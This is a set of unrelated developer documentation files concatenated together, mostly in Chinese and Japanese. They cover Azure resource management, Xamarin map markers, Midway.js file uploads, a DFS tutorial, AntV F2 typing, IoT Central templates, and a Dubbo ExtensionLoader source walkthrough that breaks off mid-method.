运行时阶段可能会发生很多更改。 例如，假设某些服务使用的资源量更改、某些服务失败以及某些节点加入并离开群集。 节点上的所有更改都要进行汇总，并定期发送到群集 Resource Manager 服务（1、2），并在其中再次聚合、分析和存储。 每隔几秒钟，服务就查看更改，并确定是否需要任何操作 (3)。 例如，它可能注意到某些空节点已添加到群集。 因此，确定要将某些服务移到这些节点。 群集 Resource Manager 可能还注意到特定节点已超载，或者某些服务已失败或已删除，在其他位置释放了资源。
请查看下图，了解接下来会发生什么。 假设群集资源管理器确定需要更改。 它与其他系统服务（尤其是故障转移管理器）进行协调，进行必要的更改。 然后将所需命令发送到相应节点 (4)。 例如，假设资源管理器注意到节点 5 已超载，因此确定要将服务 B 从节点 5 移动到节点 4。 重新配置 (5) 结束时，群集看起来像这样：
<center>
![资源平衡器体系结构][Image2]
</center>
## <a name="next-steps"></a>后续步骤
- 群集 Resource Manager 提供许多用于描述群集的选项。 若要详细了解这些选项，请查看这篇[描述 Service Fabric 群集](./service-fabric-cluster-resource-manager-cluster-description.md)的文章
- 群集资源管理器的主要职责是重新均衡群集，并强制执行放置规则。 有关如何配置这些行为的详细信息，请参阅[均衡 Service Fabric 群集](./service-fabric-cluster-resource-manager-balancing.md)
[Image1]:./media/service-fabric-cluster-resource-manager-architecture/Service-Fabric-Resource-Manager-Architecture-Activity-1.png
[Image2]:./media/service-fabric-cluster-resource-manager-architecture/Service-Fabric-Resource-Manager-Architecture-Activity-2.png
<!-- Update_Description: update meta properties, wording update --> | 2,680 | CC-BY-4.0 |
---
title: "カスタムマーカーに対応した Xamarin.Forms.GoogleMaps v1.4.0 をリリースしました"
date: 2016-07-18
tags: [Xamarin, Xamarin.Forms, Android, iOS, GoogleMapsAPI, ReleaseNotes, Xamarin.Forms.GoogleMaps]
layout: layouts/post.njk
page_name: xamarin_forms_googlemaps_v1_4_0_released
permalink: "/blog/{{ page.date | date: '%Y/%m/%d' }}/{{ page_name }}/index.html"
---
Xamarin.Forms.GoogleMaps v1.4.0 をリリースしました。
<!--more-->
* [NuGet Xamarin.Forms.GoogleMaps 1.4.0](https://www.nuget.org/packages/Xamarin.Forms.GoogleMaps/1.4.0)
待望？のカスタムマーカーに対応しました。
## カスタムマーカーの使い方
``Pin.Icon`` に ``BitmapDescriptorFactory`` により生成される ``BitmapDescriptor`` を設定します。
``BitmapDescriptorFactory`` の３つのファクトリメソッドにより、
「デフォルトマーカーの色を変える」「プラットフォーム毎の画像リソースを使用する」「共通の画像リソースを使用する」
の３つが使用できます。
### デフォルトマーカーの色を変える
[``iOS:GMSMarker.markerImageWithColor``](https://developers.google.com/maps/documentation/ios-sdk/reference/interface_g_m_s_marker.html?hl=ja#ae320cb082a68c22eb1f37955f8e56228), [``Android:BitmapDescriptorFactory.defaultMarker``](https://developers.google.com/android/reference/com/google/android/gms/maps/model/BitmapDescriptorFactory.html?hl=ja#defaultMarker(float)) に対応する、既定のマーカー形状の色のみを変える機能です。
以下のように、 ``BitmapDescriptorFactory.DefaultMarker(Color)`` メソッドを使用します。
```csharp
pin.Icon = BitmapDescriptorFactory.DefaultMarker(Color.Pink);
```
### プラットフォーム毎の画像リソースを使用する
[``iOS:UIImage.imageNamed``](https://developers.google.com/maps/documentation/ios-sdk/marker?hl=ja#_7), [``Android:BitmapDescriptorFactory.fromAsset``](https://developers.google.com/android/reference/com/google/android/gms/maps/model/BitmapDescriptorFactory.html?hl=ja#defaultMarker(float)) に対応する、プラットフォーム固有の画像リソースを、マーカー画像として使用する機能です。
以下のように、 ``BitmapDescriptorFactory.FromBundle(string)`` メソッドを使用します。
```csharp
pin.Icon = BitmapDescriptorFactory.FromBundle("image01.png");
```
引数の bundleName は、 **同じ名称で** 、プラットフォーム毎に次のように用意されている必要があります。
#### Android の場合
Android側のプロジェクトの ``Assets`` ディレクトリ内に ``image01.png`` を追加し、 Build Action を ”Android Asset” に設定します。
#### iOS の場合
iOS側のプロジェクト ``image01.png`` を追加し、 Build Action を ”BundleResource” に設定します。
### 共通の画像リソースを使用する
画像を ``Stream`` を直接指定できる、機能です。
以下のように、 ``BitmapDescriptorFactory.DefaultMarker(Color)`` メソッドを使用します。
```csharp
// PCLプロジェクトに EmbeddedResouece として追加した "marker01.png" を読み込んで Stream 化
var assembly = typeof(CustomPinsPage).GetTypeInfo().Assembly;
var stream = assembly.GetManifestResourceStream($"XFGoogleMapSample.marker01.png");
// Stream をマーカーに設定
pin.Icon = BitmapDescriptorFactory.FromStream(stream);
```
## 【注意】プラットフォーム毎のマーカーサイズの違い
「プラットフォーム毎の画像リソースを使用する」「共通の画像リソースを使用する」で見られる現象なのですが、iOS と Android では **同じサイズの画像を指定しているのに iOS の方が大きく描画されます**
なぜこうなるのか分かりませんが、 [Google Maps SDK for iOS](https://developers.google.com/maps/documentation/ios-sdk/intro?hl=ja) と [Google Maps Android API](https://developers.google.com/maps/documentation/android-api/intro?hl=ja) を直接使用した時もこうなるので、両者の仕様というかプラットフォーム自体の仕様なのかも知れません。
特に ``BitmapDescriptorFactory.FromStream`` を使用した時には使い勝手が悪いのですが、「ネイティブの Google Maps SDK の機能を共通APIでラップする」のが第一目標なので、とりあえず画像を何も加工しない実装でリリースしました。
何か原因などについてヒントがある方は
* [Why custom pin icon in iOS bigger than Android? · Issue #40 · amay077/Xamarin.Forms.GoogleMaps](https://github.com/amay077/Xamarin.Forms.GoogleMaps/issues/40)
に書いてもらえると助かります（日本語で大丈夫です）。
## サンプルプログラム
[XFGoogleMapSample](https://github.com/amay077/Xamarin.Forms.GoogleMaps/tree/master/XFGoogleMapSample) の [``CustomPinsPage.xaml.cs``](https://github.com/amay077/Xamarin.Forms.GoogleMaps/blob/master/XFGoogleMapSample/XFGoogleMapSample/CustomPinsPage.xaml.cs) でこれらの機能を使用しています。
是非使ってみてください。よければ [Github リポジトリ](https://github.com/amay077/Xamarin.Forms.GoogleMaps) に Star ください。 | 3,956 | MIT |
---
title: 使用 Azure CLI 管理 Azure 资源管理器组 | Azure
description: 使用 Azure CLI 管理 Azure 资源管理器组。
services: azure-resource-manager
documentationcenter: ''
author: rockboyfor
ms.service: azure-resource-manager
ms.workload: multiple
ms.tgt_pltfrm: na
ms.devlang: na
ms.topic: conceptual
origin.date: 02/11/2019
ms.date: 04/15/2019
ms.author: v-yeche
ms.openlocfilehash: 70e61814425b5a0ffb29f17d628ce70dea66265a
ms.sourcegitcommit: d9b907342ceea2e30f411e74164d6d386b6a7099
ms.translationtype: HT
ms.contentlocale: zh-CN
ms.lasthandoff: 05/07/2019
ms.locfileid: "65211912"
---
<!--Verfiy successfully-->
# <a name="manage-azure-resource-manager-resource-groups-by-using-azure-cli"></a>使用 Azure CLI 管理 Azure 资源管理器资源组
了解如何将 Azure CLI 与 [Azure 资源管理器](resource-group-overview.md)配合使用来管理 Azure 资源组。 若要管理 Azure 资源，请参阅[使用 Azure CLI 管理 Azure 资源](./manage-resources-cli.md)。
有关资源组管理的其他文章：
- [使用 Azure 门户管理 Azure 资源组](./manage-resources-portal.md)
- [使用 Azure PowerShell 管理 Azure 资源组](./manage-resources-powershell.md)
## <a name="what-is-a-resource-group"></a>什么是资源组
资源组是用于保存 Azure 解决方案相关资源的容器。 资源组可以包含解决方案的所有资源，也可以只包含想要作为组来管理的资源。 根据对组织有利的原则，决定如何将资源分配到资源组。 通常可将共享相同生命周期的资源添加到同一资源组，以便将其作为一个组轻松部署、更新和删除。
资源组存储与资源有关的元数据。 因此，当指定资源组的位置时，也就指定了元数据的存储位置。 出于合规性原因，可能需要确保数据存储在某一特定区域。
<!--MOONCAKE: DUPLICATE ON The resource group stores metadata about the resources. When you specify a location for the resource group, you're specifying where that metadata is stored.-->
## <a name="create-resource-groups"></a>创建资源组
以下 CLI 脚本将创建一个资源组，然后显示该资源组。
```azurecli
echo "Enter the Resource Group name:" &&
read resourceGroupName &&
echo "Enter the location (i.e. chinaeast):" &&
read location &&
az group create --name $resourceGroupName --location $location
```
## <a name="list-resource-groups"></a>列出资源组
以下 CLI 脚本将列出订阅下的资源组。
```azurecli
az group list
```
若要获取某个资源组，请执行以下操作：
```azurecli
echo "Enter the Resource Group name:" &&
read resourceGroupName &&
az group show --name $resourceGroupName
```
## <a name="delete-resource-groups"></a>删除资源组
以下 CLI 脚本删除某个资源组：
```azurecli
echo "Enter the Resource Group name:" &&
read resourceGroupName &&
az group delete --name $resourceGroupName
```
若要详细了解 Azure 资源管理器如何控制资源的删除，请参阅 [Azure 资源管理器资源组的删除](./resource-group-delete.md)。
## <a name="deploy-resources-to-an-existing-resource-group"></a>将资源部署到现有的资源组
请参阅[将资源部署到现有的资源组](./manage-resources-cli.md#deploy-resources-to-an-existing-resource-group)。
## <a name="deploy-a-resource-group-and-resources"></a>部署资源组和资源
可以使用资源管理器模板创建一个资源组并将资源部署到该组。 有关详细信息，请参阅[创建资源组并部署资源](./deploy-to-subscription.md#create-resource-group-and-deploy-resources)。
## <a name="redeploy-when-deployment-fails"></a>部署失败时，重新部署
此功能也称为“出错时回滚”。 有关详细信息，请参阅[在部署失败时重新部署](./resource-group-template-deploy-cli.md#redeploy-when-deployment-fails)。
## <a name="move-to-another-resource-group-or-subscription"></a>移到另一个资源组或订阅
可将组中的资源移到另一个资源组。 有关详细信息，请参阅[移动资源](./manage-resources-cli.md#move-resources)。
## <a name="lock-resource-groups"></a>锁定资源组
锁定可以防止组织中的其他用户意外删除或修改关键资源，例如 Azure 订阅、资源组或资源。
以下脚本锁定了一个资源组，因此无法删除该资源组。
```azurecli
echo "Enter the Resource Group name:" &&
read resourceGroupName &&
az lock create --name LockGroup --lock-type CanNotDelete --resource-group $resourceGroupName
```
以下脚本获取资源组的所有锁：
```azurecli
echo "Enter the Resource Group name:" &&
read resourceGroupName &&
az lock list --resource-group $resourceGroupName
```
以下脚本将删除锁：
```azurecli
echo "Enter the Resource Group name:" &&
read resourceGroupName &&
echo "Enter the lock name:" &&
read lockName &&
az lock delete --name $lockName --resource-group $resourceGroupName
```
更多信息请参阅 [使用 Azure Resource Manager 锁定资源](resource-group-lock-resources.md)。
## <a name="tag-resource-groups"></a>标记资源组
可以将标记应用到资源组和资源，以按照逻辑组织资产。 有关信息，请参阅[使用标记组织 Azure 资源](./resource-group-using-tags.md#azure-cli)。
## <a name="export-resource-groups-to-templates"></a>将资源组导出到模板
成功设置资源组后，可能需要查看资源组的资源管理器模板。 导出模板有两个好处：
- 由于模板包含整个基础结构，因此将来可以自动完成解决方案的部署。
- 通过查看代表解决方案的 JavaScript 对象表示法 (JSON)，了解模板语法。
```azurecli
echo "Enter the Resource Group name:" &&
read resourceGroupName &&
az group export --name $resourceGroupName
```
该脚本在控制台上显示模板。 复制 JSON，并将其另存为文件。
有关详细信息，请参阅[导出资源组](./manage-resource-groups-portal.md#export-resource-groups-to-templates)。
## <a name="manage-access-to-resource-groups"></a>管理对资源组的访问
可以在 Azure 中通过[基于角色的访问控制 (RBAC)](../role-based-access-control/overview.md) 这种方式管理对资源的访问。 有关详细信息，请参阅[使用 RBAC 和 Azure CLI 管理访问权限](../role-based-access-control/role-assignments-cli.md)。
## <a name="next-steps"></a>后续步骤
- 若要了解 Azure 资源管理器，请参阅 [Azure 资源管理器概述](./resource-group-overview.md)。
- 若要了解资源管理器模板语法，请参阅[了解 Azure 资源管理器模板的结构和语法](./resource-group-authoring-templates.md)。
- 若要了解如何开发模板，请参阅[分步教程](/azure-resource-manager/)。
- 若要查看 Azure 资源管理器模板架构，请参阅[模板参考](https://docs.microsoft.com/zh-cn/azure/templates/)。
<!--Update_Description: wording update -->
<!--ms.date: 03/18/2019--> | 4,897 | CC-BY-4.0 |
# 文件上传
适用于 `@midwayjs/faas` 、`@midwayjs/web` 、`@midwayjs/koa` 和 `@midwayjs/express` 多种框架的通用上传组件，支持 `file` (服务器临时文件)、`stream` （流）多种模式。
相关信息：
| web 支持情况 | |
| ----------------- | ---- |
| @midwayjs/koa | ✅ |
| @midwayjs/faas | ✅ |
| @midwayjs/web | ✅ |
| @midwayjs/express | ✅ |
## 使用
1、安装依赖
```bash
$ npm i @midwayjs/upload@3 --save
```
或者在 `package.json` 中增加如下依赖后，重新安装。
```json
{
"dependencies": {
"@midwayjs/upload": "^3.0.0",
// ...
},
"devDependencies": {
// ...
}
}
```
2、在 configuration 文件中引入组件
```typescript
import { Configuration } from '@midwayjs/decorator';
import * as upload from '@midwayjs/upload';
@Configuration({
imports: [
// ...other components
upload
],
// ...
})
export class AutoConfiguration {}
```
3、在代码中获取上传的文件
```typescript
import { Controller, Inject, Post, Files, Fields } from '@midwayjs/decorator';
@Controller('/')
export class HomeController {
@Inject()
ctx;
@Post('/upload')
async upload(@Files() files, @Fields() fields) {
/*
files = [
{
filename: 'test.pdf', // 文件原名
data: '/var/tmp/xxx.pdf', // mode 为 file 时为服务器临时文件地址
fieldname: 'test1', // 表单 field 名
mimeType: 'application/pdf', // mime
},
{
filename: 'test.pdf', // 文件原名
data: ReadStream, // mode 为 stream 时为服务器临时文件地址
fieldname: 'test2', // 表单 field 名
mimeType: 'application/pdf', // mime
},
// ...file 下支持同时上传多个文件
]
*/
return {
files,
fields
}
}
}
```
## 配置
```typescript
// src/config/config.default.ts
import { uploadWhiteList } from '@midwayjs/upload';
export default {
// ...
upload: {
// mode: UploadMode, 默认为file，即上传到服务器临时目录，可以配置为 stream
mode: 'file',
// fileSize: string, 最大上传文件大小，默认为 10mb
fileSize: '10mb',
// whitelist: string[]，文件扩展名白名单
whitelist: uploadWhiteList.filter(ext => ext !== '.pdf'),
// tmpdir: string，上传的文件临时存储路径
tmpdir: join(tmpdir(), 'midway-upload-files'),
// cleanTimeout: number，上传的文件在临时目录中多久之后自动删除，默认为 5 分钟
cleanTimeout: 5 * 60 * 1000,
},
}
```
### mode 配置上传模式
#### 1. file 模式【默认值】
配置 upload 的 mode 为 `file` 字符串，或使用 `@midwayjs/upload` 包导出的 `UploadMode.File` 来配置。
使用 file 模式时，通过 `this.ctx.files` 中获取的 `data` 为上传的文件在服务器的临时文件地址，后续可以再通过 `fs.createReadStream` 等方式来获取到此文件内容。
使用 file 模式时，支持同时上传多个文件，多个文件会以数组的形式存放在 `this.ctx.files` 中。
#### 2. stream 模式
配置 upload 的 mode 为 `stream` 字符串，或使用 `@midwayjs/upload` 包导出的 `UploadMode.Stream` 来配置。
使用 stream 模式时，通过 `this.ctx.files` 中获取的 `data` 为 `ReadStream`，后续可以再通过 `pipe` 等方式继续将数据流转至其他 `WriteStream` 或 `TransformStream`。
使用 stream 模式时，仅同时上传一个文件，即 `this.ctx.files` 数组中只有一个文件数据对象。
### whitelist 白名单配置
配置允许上传的文件后缀名，配置 `null` 则不校验后缀名，如果上传的文件后缀不匹配，会响应 `400` error，默认值如下：
```ts
'.jpg',
'.jpeg',
'.png',
'.gif',
'.bmp',
'.wbmp',
'.webp',
'.tif',
'.psd',
'.svg',
'.js',
'.jsx',
'.json',
'.css',
'.less',
'.html',
'.htm',
'.xml',
'.pdf',
'.zip',
'.gz',
'.tgz',
'.gzip',
'.mp3',
'.mp4',
'.avi',
```
可以通过 `@midwayjs/upload` 包中导出的 `uploadWhiteList` 获取到默认的后缀名白名单。
### 临时文件与清理
如果你使用了 `file` 模式来获取上传的文件，那么上传的文件会存放在您于 `config` 文件中设置的 `upload` 组件配置中的 `tmpdir` 选项指向的文件夹内。
你可以通过在配置中使用 `cleanTimeout` 来控制自动的临时文件清理时间，默认值为 `5 * 60 * 1000`，即上传的文件于 `5 分钟` 后自动清理，设置为 `0` 则视为不开启自动清理功能。
你也可以在代码中通过调用 `await ctx.cleanupRequestFiles()` 来主动清理当前请求上传的临时文件。
## 前端如何将文件上传到服务器？
### 1. html form 的形式
```html
<form action="/api/upload" method="post" enctype="multipart/form-data">
Name: <input type="text" name="name" /><br />
File: <input type="file" name="testFile" /><br />
<input type="submit" value="Submit" />
</form>
```
### 2. fetch FormData 方式
```js
const fileInput = document.querySelector('#your-file-input') ;
const formData = new FormData();
formData.append('file', fileInput.files[0]);
fetch('/api/upload', {
method: 'POST',
body: formData,
});
``` | 3,939 | MIT |
# 深度优先搜索（DFS）
``深度优先搜索（DFS）``在大多数情况下，我们在能使用 BFS 时也可以使用 DFS。但是有一个重要的区别：``遍历顺序``。
与 BFS 不同，更早访问的结点可能不是更靠近根结点的结点。因此，你在 DFS 中找到的第一条路径可能不是最短路径。通过 **遍历** + **回溯** 的方式进行
### 模板 - 递归
```java
/*
* Return true if there is a path from cur to target.
*/
boolean DFS(Node cur, Node target, Set<Node> visited) {
return true if cur is target;
for (next : each neighbor of cur) {
if (next is not in visited) {
add next to visted;
return true if DFS(next, target, visited) == true;
}
}
return false;
}
```
当我们递归地实现 DFS 时，似乎不需要使用任何栈。但实际上，我们使用的是由系统提供的隐式栈，也称为调用栈（Call Stack）。
如果你想找到最短路径呢？再添加一个参数来指示你已经找到的最短路径。
### 模板 II
递归解决方案的优点是它更容易实现。 但是，存在一个很大的缺点：如果递归的深度太高，你将遭受堆栈溢出。 在这种情况下，您可能会希望使用 BFS，或使用显式栈实现 DFS。
这里我们提供了一个使用显式栈的模板：
```java
/*
* Return true if there is a path from cur to target.
*/
boolean DFS(int root, int target) {
Set<Node> visited;
Stack<Node> s;
add root to s;
while (s is not empty) {
Node cur = the top element in s;
return true if cur is target;
for (Node next : the neighbors of cur) {
if (next is not in visited) {
add next to s;
add next to visited;
}
}
remove cur from s;
}
return false;
}
```
该逻辑与递归解决方案完全相同。 但我们使用 while 循环和栈来模拟递归期间的系统调用栈。 手动运行几个示例肯定会帮助你更好地理解它。 | 1,372 | MIT |
---
name: BUG 报告
about: 用这个来报告 BUG
title: "[BUG] 这里填写 BUG 描述..."
labels: bug
---
<!-- 感谢提出bug，并欢迎你尝试修复它 -->
复现步骤:
1.
2. | 122 | MIT |
---
title: 和 React 同时使用时，TS 类型报错
order: 1
---
当和 React 同时使用时，碰到 `group`, `circle`, `rect` 等这些标签的类型提示错误时，如下图所以 
## 问题原因
因为 React svg 的标签类型里也有 `circle`， `rect` 等这些标签，这些和 F2 定义的冲突了，需要我们再单独引入 F2 标签定义的命名空间
## 解决方式
1. 先确定当前项目的 jsx 编译模式，打开 `tsconfig.json`
2. 找到 `compilerOptions` 下的 `jsx` 配置项，如果没有则默认为 `react`，`react` 为 [classic](/zh/docs/tutorial/jsx-transform#classic-1) 编译模式，`react-jsx` 为 [automatic](/zh/docs/tutorial/jsx-transform#automatic-1) 编译模式
### 1. classic 编译模式
在文件顶部增加如下注释代码和模块引用
```jsx
/** @jsx jsx */
import { jsx } from '@antv/f2';
...
```
### 2. automatic 编译模式
在文件顶部增加如下注释代码
```jsx
/** @jsxImportSource @antv/f2 */
...
```
3. 完成后即可解决类型错误问题
## 注意事项
因为代码编译是以文件为单位的，在一个文件里只能使用一种标签类型，如果是在同一文件中的，需要再新建一个新的文件 | 1,040 | MIT |
### 总述
1. node 依赖模块没有上传到git，请push后在app目录下运行: `npm install`
2. 程序运行方式，在app目录下运行：`node app.js`
3. 测试：http://localhost:3000?id1=xxx&id2=xxx
4. 代码风格,主要根据: https://github.com/airbnb/javascript
### 文件说明
1. app.js 应用主程序
2. models/delay-checker.js 负责检测本地到服务器的请求时延。
3. models/evaluation.js 负责评估当前结果
4. models/mag-url-make.js 提供构造mag api请求工具函数
5. models/tada-request.js 提供api请求、数据处理的工具函数.
6. models/handler.js 路径搜索主程序
7. models/handler/Id.js 所有的2-hop, 3-hop的处理模块
8. models/handler/xx 所有的2-hop, 3-hop的处理模块
### 模块主要说明
#### models/delay-checker.js
本模块主要负责时延检测，在app启动时便会启动，在每次处理请求时，都会从此模块中
取得当前时延，做为此次处理的初时timeout
#### models/evaluation.js
主要负责评估，此模块还未实现
#### models/mag-url-make.js
主要负责生成mag api url
```
/**
* Make a the mag api requst url according to given parameters.
*
* @param {String} expr no empty
* @param {Number} count default 1
* @param {String} attributes default ''
*
* @return {String} the constructed url or empty string on error
*/
function(expr, attributes, count)
```
#### models/tada-request.js 系统中所有的请求都应调用此模块
主要负责系统中对mag api的请求，其主要功能有：http请求、timeout计算、自动重试、
数据预处理
```
/**
* An encapsulated request function, which provoide the timeout adjust and
* response data preprocess.
*
* @param {String} url 数据请求的url
* @param {Object} info 当前request info
* @param {Function} callback 请求成功回调函数 function(err, data) err: error info, data: Array response entities
* @param {Integer} maxTry Optional 最大重试次数，默认值为4
*/
requst info解析:
recievedCount: 当前成功接收的次数
timeoutCount: 当前超时次数
timeout: 当前超时值
flag: 是否停止所有的请求，当这个值为false时，所有请求结果以及请求都会丢弃
function (url, info, callback, maxTry)
```
#### models/handler.js
1. 请求数据分析，判断是[Id, AA.AuId], [Id, Id], [Id, AA.AuId], [AA.AuId, AA.AuId]中的哪一个
2. 系统数据初始化.
3. 取得hop-1请求结果，并且根据结果发出后续path搜索命令
4. 结果返回
```
reqDetail解析:
desc: Array 描述请求参数数据类型
value: Array 描述请求参数值
```
#### models/handler/Id.js
```
adaper: object
定义本模块能搜索的路径。
searchPath: Function
并行产生各路搜索
``` | 1,945 | Apache-2.0 |
---
title: インクルード ファイル
description: インクルード ファイル
services: iot-central
author: dominicbetts
ms.service: iot-central
ms.topic: include
ms.date: 03/12/2020
ms.author: dobett
ms.custom: include file
ms.openlocfilehash: 77fdaf297fff0e145b1dd53908887bc14f9d3f14
ms.sourcegitcommit: bfa7d6ac93afe5f039d68c0ac389f06257223b42
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 04/06/2021
ms.locfileid: "106491138"
---
<!-- All needs updating -->
Azure IoT Central アプリケーションのオペレーターとして、次のことを実行できます。
* 2 つのサーモスタット コンポーネントによって送信されたテレメトリを **[概要]** ページで確認します。
:::image type="content" source="media/iot-central-monitor-thermostat/view-telemetry.png" alt-text="デバイス テレメトリの表示":::
* **[About]\(情報\)** ページでデバイスのプロパティを確認します。 このページには、デバイス情報コンポーネントと 2 つのサーモスタット コンポーネントからのプロパティが表示されます。
:::image type="content" source="media/iot-central-monitor-thermostat/about-properties.png" alt-text="デバイスのプロパティを表示する":::
## <a name="customize-the-device-template"></a>デバイス テンプレートをカスタマイズする
温度コントローラー デバイスの接続時に IoT Central によって自動的に作成されたデバイス テンプレートは、ソリューション開発者がカスタマイズできます。
デバイスに関連付けられている顧客名を格納するためのクラウド プロパティを追加するには、次の手順に従います。
1. IoT Central アプリケーションで、 **[デバイス テンプレート]** ページの **Temperature Controller** デバイス テンプレートに移動します。
1. **Temperature Controller** デバイス テンプレートで **[クラウドのプロパティ]** を選択します。
1. **[クラウド プロパティの追加]** を選択します。 **[表示名]** として「*Customer name*」を入力し、 **[スキーマ]** として **[文字列]** を選択します。 次に、 **[保存]** を選択します。
**[Get Max-Min report]\(最大-最小レポートの取得\)** コマンドが IoT Central アプリケーションでどのように表示されるかをカスタマイズするには:
1. デバイス テンプレートで **[カスタマイズ]** を選択します。
1. **getMaxMinReport (thermostat1)** と表示する場合は、 *[Get Max-Min report]\(最大-最小レポートの取得\)* を *[Get thermostat1 status report]\(thermostat1 状態レポートの取得\)* で置き換えます。
1. **getMaxMinReport (thermostat2)** と表示する場合は、 *[Get Max-Min report]\(最大-最小レポートの取得\)* を *[Get thermostat2 status report]\(thermostat 状態レポートの取得\)* で置き換えます。
1. **[保存]** を選択します。
**[Target Temperature]\(目標温度\)** 書き込み可能プロパティが IoT Central アプリケーションにどのように表示されるかをカスタマイズするには:
1. デバイス テンプレートで **[カスタマイズ]** を選択します。
1. **targetTemperature (thermostat1)** と表示する場合は、 *[Target Temperature]\(目標温度\)* を *[Target Temperature (1)]\(目標温度 (1)\)* で置き換えます。
1. **targetTemperature (thermostat2)** と表示する場合は、 *[Target Temperature]\(目標温度\)* を *[Target Temperature (2)]\(目標温度 (2)\)* で置き換えます。
1. **[保存]** を選択します。
**Temperature Controller** モデルのサーモスタット コンポーネントには **[Target Temperature]\(目標温度\)** という書き込み可能プロパティが、デバイス テンプレートには **[Customer Name]\(顧客名\)** というクラウド プロパティがあります。 オペレーターがこれらのプロパティを編集する際に使用できるビューを作成します。
1. **[ビュー]** を選択し、 **[デバイスとクラウドのデータの編集]** タイルを選択します。
1. フォーム名として「_Properties_」を入力します。
1. **[Target Temperature (1)]\(目標温度 (1)\)** 、 **[Target Temperature (2)]\(目標温度 (2)\)** 、および **[Customer Name]\(顧客名\)** の各プロパティを選択します。 次に、 **[セクションの追加]** を選択します。
1. 変更を保存します。
:::image type="content" source="media/iot-central-monitor-thermostat/properties-view.png" alt-text="プロパティ値を更新するためのビュー":::
## <a name="publish-the-device-template"></a>デバイス テンプレートを公開する
これまでに加えたカスタマイズをオペレーターが見て使用できるようにするためには、デバイス テンプレートを発行する必要があります。
**Thermostat** デバイス テンプレートから **[発行]** を選択します。 **[このデバイス テンプレートのアプリケーションへの発行]** パネルで、 **[発行]** を選択します。
これでオペレーターは、 **[プロパティ]** ビューを使用してプロパティ値を更新したり、デバイスのコマンド ページで **[Get thermostat1 status report]\(thermostat1 状態レポートの取得\)** や **[Get thermostat2 status report]\(thermostat2 状態レポートの取得\)** というコマンドを呼び出したりできるようになりました。
* 書き込み可能なプロパティの値を **[プロパティ]** ページで更新します。
:::image type="content" source="media/iot-central-monitor-thermostat/update-properties.png" alt-text="デバイス プロパティを更新する":::
* **[コマンド]** ページからコマンドを呼び出します。
:::image type="content" source="media/iot-central-monitor-thermostat/call-command.png" alt-text="コマンドを呼び出す":::
:::image type="content" source="media/iot-central-monitor-thermostat/command-response.png" alt-text="コマンドの応答を確認する"::: | 3,747 | CC-BY-4.0 |
# ExtensionLoader
`ExtensionLoader` 是 `Dubbo` [SPI](dubbo-spi.md) 的具体实现类，这里主要包含下面几个部分的分析：
1. 分析`ExtensionLoader`中的一些方法实现逻辑
2. 通过`ServiceConfig`中的`protocol.export`方法，分析 `dubbo` 自适应的实现方式
- [ExtensionLoader](#extensionloader)
- [ExtensionLoader 的作用](#extensionloader-的作用)
- [ExtensionLoader methods](#extensionloader-methods)
- [getExtensionLoader](#getextensionloader)
- [getExtension](#getextension)
- [createExtension](#createextension)
- [WrapperClass](#wrapperclass)
- [injectExtension](#injectextension)
- [loadExtensionClasses](#loadextensionclasses)
- [getAdaptiveExtension](#getadaptiveextension)
- [createAdaptiveExtensionClassCode](#createadaptiveextensionclasscode)
- [Protocol](#protocol)
- [Protocol\$Adaptive](#protocoladaptive)
- [Summary](#summary)
## ExtensionLoader 的作用
- 进行扩展类的加载
- 进行扩展类的依赖注入
- 进行扩展类的包装
- 一些默认实现的自适应实现，比如 `Protocol`
## ExtensionLoader methods
下面通过`ExtensionLoader`中的方法来分析 `ExtensionLoader` 的实现
### getExtensionLoader
```java
// getExtensionLoader 是一个静态方法，参数是 type（比如：Protocol）
// 每一个类，都对应有自己的一个 ExtensionLoader 扩展点
// 还有自己的成员变量，比如 cachedWrapperClasses，这会导致生成的 Protocol 实例会进行包装，提供额外的扩展功能
// 后面会再次提到包装类
public static <T> ExtensionLoader<T> getExtensionLoader(Class<T> type) {
if (type == null) {
throw new IllegalArgumentException("Extension type == null");
}
if (!type.isInterface()) {
throw new IllegalArgumentException("Extension type(" + type + ") is not interface!");
}
// 检查是否有 SPI 这个注解
if (!withExtensionAnnotation(type)) {
throw new IllegalArgumentException("Extension type(" + type +
") is not extension, because WITHOUT @" + SPI.class.getSimpleName() + " Annotation!");
}
// 从 EXTENSION_LOADERS（ConcurrentMap）中获取，这个类对应的 ExtensionLoader
// 如果存在就返回,不存在就new 一个
// getExtensionLoader 是一个静态方法，同时共享了 EXTENSION_LOADERS 静态变量
// 因此使用并发的 ConcurrentMap 的 putIfAbsent 方法来避免并发问题
// 一种扩展点对应一个新的 ExtensionLoader 实例
// 因此每一个扩展点的 cachedAdaptiveClass，cachedWrapperClasses 都是不一样的
ExtensionLoader<T> loader = (ExtensionLoader<T>) EXTENSION_LOADERS.get(type);
if (loader == null) {
EXTENSION_LOADERS.putIfAbsent(type, new ExtensionLoader<T>(type));
loader = (ExtensionLoader<T>) EXTENSION_LOADERS.get(type);
}
return loader;
}
```
### getExtension
```java
// 这个方法根据 name 从缓存中 cachedInstances 拿对应的扩展点
// 如果为空，就创建一个，具体的实现在 createExtension 方法中
@SuppressWarnings("unchecked")
public T getExtension(String name) {
if (name == null || name.length() == 0) {
throw new IllegalArgumentException("Extension name == null");
}
if ("true".equals(name)) {
return getDefaultExtension();
}
Holder<Object> holder = cachedInstances.get(name);
if (holder == null) {
cachedInstances.putIfAbsent(name, new Holder<Object>());
holder = cachedInstances.get(name);
}
Object instance = holder.get();
if (instance == null) {
synchronized (holder) {
instance = holder.get();
if (instance == null) {
instance = createExtension(name);
holder.set(instance);
}
}
}
return (T) instance;
}
```
### createExtension
```java
// getExtensionClasses 会从 cachedClasses 缓存中那对象
// 如果存在直接返回，不存在就进行读取配置文件，进行类加载的操作
// 具体的实现在 loadExtensionClasses 中
@SuppressWarnings("unchecked")
private T createExtension(String name) {
Class<?> clazz = getExtensionClasses().get(name);
if (clazz == null) {
throw findException(name);
}
try {
// 这里依然是缓存检查
T instance = (T) EXTENSION_INSTANCES.get(clazz);
if (instance == null) {
EXTENSION_INSTANCES.putIfAbsent(clazz, clazz.newInstance());
instance = (T) EXTENSION_INSTANCES.get(clazz);
}
// injectExtension 方法主要是对，生成的扩展点进行属性的注入
// 如 RegistryProtocol 会在 injectExtension 时，对 cluster 属性进行赋值
injectExtension(instance);
// 这里使用 cachedWrapperClasses 包装类，对生成的实例进行包装
// 比如 ReferenceConfig 中的代码 invoker = refprotocol.refer(interfaceClass, urls.get(0));
// 这里 refer 方法生成的 invoker 实例是被包装之后的类，从而在客户卡调用的时候
// 可以实现 mock，filter 等功能
Set<Class<?>> wrapperClasses = cachedWrapperClasses;
